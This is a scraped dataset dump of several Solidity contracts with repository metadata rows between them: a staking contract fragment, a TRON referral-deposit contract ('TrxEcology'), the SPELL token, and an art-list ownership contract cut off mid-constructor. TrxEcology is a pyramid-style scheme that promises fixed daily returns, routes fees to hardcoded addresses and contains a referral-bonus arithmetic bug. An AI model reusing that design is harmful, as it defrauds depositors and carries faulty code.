}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 88,482 | 11,259 |
3b73448976cf9cb16e458a8caf056c78c0e5a7da187ad195a1fcdf5a0476a28f
| 18,340 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THjCnn2cAjt3dQpZxwG1otQqWczbEfkL4K_TrxEcology.sol
| 5,634 | 17,195 |
//SourceUnit: TrxEcology.sol
pragma solidity >=0.4.22 <0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface TokenTrb {
function transfer(address to, uint256 value) external
returns (bool success);
}
contract TrxEcology {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
uint256 srewards;
}
using SafeMath for uint;
address payable public owner;
address payable[] public market_fee;
address payable public foundation_fee;
address payable public trbchain_fund;
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses; // 1 => 1%
uint8[] public pool_bonuses; // 1 => 1%
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance; // 3 => 3%
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
uint256 public total_rewards;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
event NewRewards(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
foundation_fee = address(0x4180A872947682B4562E2C577572C875360716394C);
trbchain_fund = address(0x41226AB42675E0AE108CC5DAD371708DC6CEF3940F);
market_fee.push(address(0x410173536E6D250E9C6ABC9A7598B66331D0F0B757));
market_fee.push(address(0x412020F22A48BC051DD6AE2BAAF7A05A2541B49111));
market_fee.push(address(0x4139EA52A4DD41D16AD16B3EA5556F6225CAD2F95A));
market_fee.push(address(0x413EC20DCE6800DB79C4DE386DF630FFFF5843C097));
market_fee.push(address(0x41835E34E6BFA03206923F7AD6B2767A3AD2C671C6));
market_fee.push(address(0x41C657E6231CA704D777E860D8481BE2F4FEF33DDE));
market_fee.push(address(0x4132AA8EB3EE1297BDA9D58325AD5F3BFC0B0D72D3));
market_fee.push(address(0x41C912E987B48AFC6F28CE9EB4DD6C5D894414FE12));
market_fee.push(address(0x41CC47194D94648D58A849AB5540DE49C94C97AE18));
market_fee.push(address(0x415D96E8BD9EC4D546751FE20B57EB4903F67E2EB6));
ref_bonuses.push(30);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
pool_bonuses.push(10);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
cycles.push(1e11);
cycles.push(3e11);
cycles.push(9e11);
cycles.push(2e12);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 3e8 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits = (users[_addr].total_deposits).add(_amount);
total_deposited = total_deposited.add(_amount);
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus = (users[users[_addr].upline].direct_bonus).add(_amount.div(10));
emit DirectPayout(users[_addr].upline, _addr, _amount.div(10));
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
trbchain_fund.transfer((_amount.mul(1)).div(100)); // 1%
foundation_fee.transfer((_amount.mul(3)).div(100));
for(uint8 i = 0; i < market_fee.length; i++) {
address payable up = market_fee[i];
if(up == address(0)) break;
up.transfer((_amount.mul(5)).div(1000));
}
_tokenRewards(_addr, _amount, total_deposited);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance = pool_balance.add((_amount.mul(3)).div(100));
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] = pool_users_refs_deposits_sum[pool_cycle][upline].add(_amount);
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount.mul(ref_bonuses[i]/100);
users[up].match_bonus = (users[up].match_bonus).add(bonus);
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance.div(10);
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = (draw_amount.mul(pool_bonuses[i])).div(100);
users[pool_top[i]].pool_bonus = (users[pool_top[i]].pool_bonus).add(win);
pool_balance = pool_balance.sub(win);
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function _tokenRewards(address _addr, uint256 _amount, uint256 _total_deposited) private {
// trb
if(_total_deposited > 0 && _total_deposited <= 1e15) {//10 y
_transferTokenTrb(_addr, (_amount.div(10)).mul(1));// * 1e6
} else if(_total_deposited > 1e15 && _total_deposited <= 2e15) {
_transferTokenTrb(_addr, (_amount.div(20)).mul(2));
} else if(_total_deposited > 2e15 && _total_deposited <= 3e15) {
_transferTokenTrb(_addr, (_amount.div(40)).mul(3));
} else if(_total_deposited > 3e15 && _total_deposited <= 4e15) {
_transferTokenTrb(_addr, (_amount.div(80)).mul(4));
} else if(_total_deposited > 4e15 && _total_deposited <= 5e15) {
_transferTokenTrb(_addr, (_amount.div(160)).mul(5));
} else if(_total_deposited > 5e15 && _total_deposited <= 6e15) {
_transferTokenTrb(_addr, (_amount.div(320)).mul(6));
} else if(_total_deposited > 6e15 && _total_deposited <= 7e15) {
_transferTokenTrb(_addr, (_amount.div(640)).mul(7));
} else if(_total_deposited > 7e15 && _total_deposited <= 8e15) {
_transferTokenTrb(_addr, (_amount.div(128)).mul(8));
} else if(_total_deposited > 8e15 && _total_deposited <= 9e15) {
_transferTokenTrb(_addr, (_amount.div(256)).mul(9));
} else if(_total_deposited > 9e15 && _total_deposited <= 1e16) {
_transferTokenTrb(_addr, (_amount.div(512)).mul(10));
}
}
function _transferTokenTrb(address _addr,uint256 _amount) private{
require(_amount > 0, "TRB Less Zero");
address trbAddress = address(0x41E58543B27D5C0F31AC41498C023F1B77758C385D);
TokenTrb token = TokenTrb(trbAddress); //trb
token.transfer(_addr, _amount);
users[_addr].srewards = (users[_addr].srewards).add(_amount);
total_rewards = total_rewards.add(_amount);
emit NewRewards(_addr, _amount);
}
function deposit(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if((users[msg.sender].payouts).add(to_payout) > max_payout) {
to_payout = max_payout.sub(users[msg.sender].payouts);
}
users[msg.sender].deposit_payouts = (users[msg.sender].deposit_payouts).add(to_payout);
users[msg.sender].payouts = (users[msg.sender].payouts).add(to_payout);
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts.add(direct_bonus) > max_payout) {
direct_bonus = max_payout.sub(users[msg.sender].payouts);
}
users[msg.sender].direct_bonus = (users[msg.sender].direct_bonus).sub(direct_bonus);
users[msg.sender].payouts = (users[msg.sender].payouts).add(direct_bonus);
to_payout = to_payout.add(direct_bonus);
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout.sub(users[msg.sender].payouts);
}
users[msg.sender].pool_bonus = (users[msg.sender].pool_bonus).sub(pool_bonus);
users[msg.sender].payouts = (users[msg.sender].payouts).add(pool_bonus);
to_payout = to_payout.add(pool_bonus);
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout.sub(users[msg.sender].payouts);
}
users[msg.sender].match_bonus = (users[msg.sender].match_bonus).sub(match_bonus);
users[msg.sender].payouts = (users[msg.sender].payouts).add(match_bonus);
to_payout = to_payout.add(match_bonus);
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts = (users[msg.sender].total_payouts).add(to_payout);
total_withdraw = total_withdraw.add(to_payout);
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return (_amount.mul(20)).div(10);
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 100) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout.sub(users[_addr].deposit_payouts);
}
}
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure, uint256 srewards) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure, users[_addr].srewards);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_rewards, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_users, total_deposited, total_rewards, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[10] memory addrs, uint256[10] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 294,398 | 11,260 |
376c57f021227e23577d9001467d63b0c568f65492eeceeaca70bbadbb338215
| 12,270 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
scraping/data/source/abracadabra.sol
| 3,110 | 11,230 |
// SPDX-License-Identifier: MIT
// .d8888b. 888 888
// d88P Y88b 888 888
// Y88b. 888 888
// "Y888b. 88888b. .d88b. 888 888
// "Y88b. 888 "88b d8P Y8b 888 888
// "888 888 888 88888888 888 888
// Y88b d88P 888 d88P Y8b. 888 888
// "Y8888P" 88888P" "Y8888 888 888
// 888
// 888
// 888
// Special thanks to:
// @BoringCrypto for his great libraries @ https://github.com/boringcrypto/BoringSolidity
pragma solidity 0.6.12;
// Contract: BoringOwnable
// Audit on 5-Jan-2021 by Keno and BoringCrypto
// Edited by BoringCrypto
contract BoringOwnableData {
address public owner;
address public pendingOwner;
}
contract BoringOwnable is BoringOwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
contract Domain {
bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
// See https://eips.ethereum.org/EIPS/eip-191
string private constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01";
// solhint-disable var-name-mixedcase
bytes32 private immutable _DOMAIN_SEPARATOR;
uint256 private immutable DOMAIN_SEPARATOR_CHAIN_ID;
/// @dev Calculate the DOMAIN_SEPARATOR
function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
return keccak256(abi.encode(DOMAIN_SEPARATOR_SIGNATURE_HASH,
chainId,
address(this)));
}
constructor() public {
uint256 chainId; assembly {chainId := chainid()}
_DOMAIN_SEPARATOR = _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId);
}
/// @dev Return the DOMAIN_SEPARATOR
// with the desired public name, such as DOMAIN_SEPARATOR or domainSeparator.
// solhint-disable-next-line func-name-mixedcase
function _domainSeparator() internal view returns (bytes32) {
uint256 chainId; assembly {chainId := chainid()}
return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId);
}
function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) {
digest =
keccak256(abi.encodePacked(EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA,
_domainSeparator(),
dataHash));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
}
// Data part taken out for building of contracts that receive delegate calls
contract ERC20Data {
/// @notice owner > balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner > spender > allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner > nonce mapping. Used in `permit`.
mapping(address => uint256) public nonces;
}
abstract contract ERC20 is IERC20, Domain {
/// @notice owner > balance mapping.
mapping(address => uint256) public override balanceOf;
/// @notice owner > spender > allowance mapping.
mapping(address => mapping(address => uint256)) public override allowance;
/// @notice owner > nonce mapping. Used in `permit`.
mapping(address => uint256) public nonces;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move the tokens.
/// @param amount of the tokens to move.
/// @return (bool) Returns True if succeeded.
function transfer(address to, uint256 amount) public returns (bool) {
// If `amount` is 0, or `msg.sender` is `to` nothing happens
if (amount != 0 || msg.sender == to) {
uint256 srcBalance = balanceOf[msg.sender];
require(srcBalance >= amount, "ERC20: balance too low");
if (msg.sender != to) {
require(to != address(0), "ERC20: no zero address"); // Moved down so low balance calls safe some gas
balanceOf[msg.sender] = srcBalance - amount; // Underflow is checked
balanceOf[to] += amount;
}
}
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval for `from`.
/// @param from Address to draw tokens from.
/// @param to The address to move the tokens.
/// @param amount The token amount to move.
/// @return (bool) Returns True if succeeded.
function transferFrom(address from,
address to,
uint256 amount) public returns (bool) {
// If `amount` is 0, or `from` is `to` nothing happens
if (amount != 0) {
uint256 srcBalance = balanceOf[from];
require(srcBalance >= amount, "ERC20: balance too low");
if (from != to) {
uint256 spenderAllowance = allowance[from][msg.sender];
// If allowance is infinite, don't decrease it to save on gas (breaks with EIP-20).
if (spenderAllowance != type(uint256).max) {
require(spenderAllowance >= amount, "ERC20: allowance too low");
allowance[from][msg.sender] = spenderAllowance - amount; // Underflow is checked
}
require(to != address(0), "ERC20: no zero address"); // Moved down so other failed calls safe some gas
balanceOf[from] = srcBalance - amount; // Underflow is checked
balanceOf[to] += amount;
}
}
emit Transfer(from, to, amount);
return true;
}
/// @notice Approves `amount` from sender to be spend by `spender`.
/// @param spender Address of the party that can draw from msg.sender's account.
/// @param amount The maximum collective amount that `spender` can draw.
/// @return (bool) Returns True if approved.
function approve(address spender, uint256 amount) public override returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return _domainSeparator();
}
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/// @notice Approves `value` from `owner_` to be spend by `spender`.
/// @param owner_ Address of the owner.
/// @param spender The address of the spender that gets approved to draw from `owner_`.
/// @param value The maximum collective amount that `spender` can draw.
/// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds).
function permit(address owner_,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external override {
require(owner_ != address(0), "ERC20: Owner cannot be 0");
require(block.timestamp < deadline, "ERC20: Expired");
require(ecrecover(_getDigest(keccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner_, spender, value, nonces[owner_]++, deadline))), v, r, s) ==
owner_,
"ERC20: Invalid Signature");
allowance[owner_][spender] = value;
emit Approval(owner_, spender, value);
}
}
// Contract: BoringMath
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
}
/// @title Spell
/// @author 0xMerlin
/// @dev This contract spreads Magic.
contract Spell is ERC20, BoringOwnable {
using BoringMath for uint256;
// ERC20 'variables'
string public constant symbol = "SPELL";
string public constant name = "Spell Token";
uint8 public constant decimals = 18;
uint256 public override totalSupply;
uint256 public constant MAX_SUPPLY = 420 * 1e27;
function mint(address to, uint256 amount) public onlyOwner {
require(to != address(0), "SPELL: no mint to zero address");
require(MAX_SUPPLY >= totalSupply.add(amount), "SPELL: Don't go over MAX");
totalSupply = totalSupply + amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
}
| 344,939 | 11,261 |
2e7006e45936a3556a97131f29a2bf1e90b50de2095edb09305cddce31f45d0b
| 20,628 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x06f8c56f98704f77f5ba79f0dc9976bcbed507d1.sol
| 5,784 | 20,053 |
// The elements of the array listTINAmotley can be claimed,
// transferred, bought, and sold on the ethereum network.
// Users can also add to the original array.
// The elements in listTINAmotley below are recited in a video
// by Greg Smith. Both the video and this program will be part of
// exhibitions at the John Michael Kohler Art Center in
// Sheboygan, WI, and at Susan Inglett Gallery in New York, NY.
// This program is based on CryptoPunks, by Larva Labs.
// List elements in listTINAmotley contain text snippets from
// Margaret Thatcher, Donna Haraway (A Cyborg Manfesto), Francois
// Rabelias (Gargantua and Pantagruel), Walt Whitman (Germs), and
// Miguel de Cervantes (Don Quixote).
// A list element associated with _index can be claimed if
// gift_CanBeClaimed(_index) returns true. For inquiries
// about receiving lines owned by info_ownerOfContract for free,
// email ListTINAmotley@gmail.com.
// In general, the functions that begin with "gift_" are used for
// claiming, transferring, and creating script lines without cost beyond
// the transaction fee. For example, to claim an available list element
// associated with _index, execute the gift_ClaimTINAmotleyLine(_index)
// function.
// The functions that begin with "info_" are used to obtain information
// about aspects of the program state, including the address that owns
// a list element, and the "for sale" or "bid" status of a list element.
// The functions that begin with "market_" are used for buying, selling, and
// placing bids on a list element. For example, to bid on the list element
// associated with _index, send the bid (in wei, not ether) along with
// the function execution of market_DeclareBid(_index).
// Note that if there's a transaction involving ether (successful sale,
// accepted bid, etc..), the ether (don't forget: in units of wei) is not
// automatically credited to an account; it has to be withdrawn by
// calling market_WithdrawWei().
// Source code and code used to test the contract are available at
// https://github.com/ListTINAmotley/LcommaG
// EVERYTHING IS IN UNITS OF WEI, NOT ETHER!
// Contract is deployed at on the
// mainnet.
pragma solidity ^0.4.24;
contract LcommaG {
string public info_Name;
string public info_Symbol;
address public info_OwnerOfContract;
// Contains the list
string[] private listTINAmotley;
// Contains the total number of elements in the list
uint256 private listTINAmotleyTotalSupply;
mapping (uint => address) private listTINAmotleyIndexToAddress;
mapping(address => uint256) private listTINAmotleyBalanceOf;
// Put list element up for sale by owner. Can be linked to specific
// potential buyer
struct forSaleInfo {
bool isForSale;
uint256 tokenIndex;
address seller;
uint256 minValue; //in wei.... everything in wei
address onlySellTo; // specify to sell only to a specific person
}
// Place bid for specific list element
struct bidInfo {
bool hasBid;
uint256 tokenIndex;
address bidder;
uint256 value;
}
// Public info about tokens for sale.
mapping (uint256 => forSaleInfo) public info_ForSaleInfoByIndex;
// Public info about highest bid for each token.
mapping (uint256 => bidInfo) public info_BidInfoByIndex;
// Information about withdrawals (in units of wei) available
// ... for addresses due to failed bids, successful sales, etc...
mapping (address => uint256) public info_PendingWithdrawals;
//Events
event Claim(uint256 tokenId, address indexed to);
event Transfer(uint256 tokenId, address indexed from, address indexed to);
event ForSaleDeclared(uint256 indexed tokenId, address indexed from,
uint256 minValue,address indexed to);
event ForSaleWithdrawn(uint256 indexed tokenId, address indexed from);
event ForSaleBought(uint256 indexed tokenId, uint256 value,
address indexed from, address indexed to);
event BidDeclared(uint256 indexed tokenId, uint256 value,
address indexed from);
event BidWithdrawn(uint256 indexed tokenId, uint256 value,
address indexed from);
event BidAccepted(uint256 indexed tokenId, uint256 value,
address indexed from, address indexed to);
constructor () public {
info_OwnerOfContract = msg.sender;
info_Name = "LcommaG";
info_Symbol = "L, G";
listTINAmotley.push("Now that, that there, that's for everyone");
listTINAmotleyIndexToAddress[0] = address(0);
listTINAmotley.push("Everyone's invited");
listTINAmotleyIndexToAddress[1] = address(0);
listTINAmotley.push("Just bring your lists");
listTINAmotleyIndexToAddress[2] = address(0);
listTINAmotley.push("The for godsakes of surveillance");
listTINAmotleyIndexToAddress[3] = address(0);
listTINAmotley.push("The shitabranna of there is no alternative");
listTINAmotleyIndexToAddress[4] = address(0);
listTINAmotley.push("The clew-bottom of trustless memorials");
listTINAmotleyIndexToAddress[5] = address(0);
listTINAmotley.push("The churning ballock of sadness");
listTINAmotleyIndexToAddress[6] = address(0);
listTINAmotley.push("The bagpiped bravado of TINA");
listTINAmotleyIndexToAddress[7] = address(0);
listTINAmotley.push("There T");
listTINAmotleyIndexToAddress[8] = address(0);
listTINAmotley.push("Is I");
listTINAmotleyIndexToAddress[9] = address(0);
listTINAmotley.push("No N");
listTINAmotleyIndexToAddress[10] = address(0);
listTINAmotley.push("Alternative A");
listTINAmotleyIndexToAddress[11] = address(0);
listTINAmotley.push("TINA TINA TINA");
listTINAmotleyIndexToAddress[12] = address(0);
listTINAmotley.push("Motley");
listTINAmotleyIndexToAddress[13] = info_OwnerOfContract;
listTINAmotley.push("There is no alternative");
listTINAmotleyIndexToAddress[14] = info_OwnerOfContract;
listTINAmotley.push("Machines made of sunshine");
listTINAmotleyIndexToAddress[15] = info_OwnerOfContract;
listTINAmotley.push("Infidel heteroglossia");
listTINAmotleyIndexToAddress[16] = info_OwnerOfContract;
listTINAmotley.push("TINA and the cyborg, Margaret and motley");
